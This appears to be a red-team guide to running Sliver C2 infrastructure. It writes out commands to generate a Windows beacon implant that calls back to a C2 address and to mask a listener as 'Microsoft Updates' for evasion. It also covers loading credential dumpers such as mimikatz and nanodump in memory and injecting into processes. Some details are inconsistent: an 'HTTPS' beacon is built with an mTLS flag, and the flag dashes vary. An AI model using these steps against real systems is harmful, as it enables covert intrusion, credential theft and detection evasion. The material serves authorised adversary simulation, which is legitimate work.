Sliver C2 Infrastructure

Sliver is an open-source, cross-platform adversary simulation tool developed by Bishop Fox. Built in Go, it features secure communications, dynamic implant generation, and a collaborative multi-user console.

Installation & Server Configuration

We host the Sliver server on an isolated Ubuntu VPS. To manage multi-user access, we generate client profiles:

# Start server in daemon mode
sliver-server daemon

# Generate client config for operator
sliver-server operator --name operator58 --lhost 10.0.0.5 -save operator58.cfg

Operators import operator58.cfg into their local client console:

sliver -config operator58.cfg

Implant Generation & Evasion

Sliver implants support standard dynamic compilation. To evade signatures, we use custom compile-time flags and symbol obfuscation.

Generating a HTTPS Beacon Implant

# Generate HTTPS implant with custom parameters
generate --mtls 10.0.0.5:8888 --os windows --arch amd64 --format exe --save /tmp/beacon.exe

For advanced evasion, we configure mTLS or HTTPS listeners with customized profiles matching standard web applications:

# Start listener with custom HTTP headers mimicking Microsoft updates
https --lport 8443 --website-name "Microsoft Updates"

Post-Exploitation Capabilities

Sliver provides rich in-memory post-exploitation tools:

  • Extensions: Integrate standard tools like nanodump, mimikatz, or sharpseclist directly in memory without touch-to-disk.
  • Armory: Automatically retrieve and build extensions:
    armory install nanodump
    
  • Process Injection: Inject shellcode or DLLs into remote processes:
    sliver > migrate --pid 1048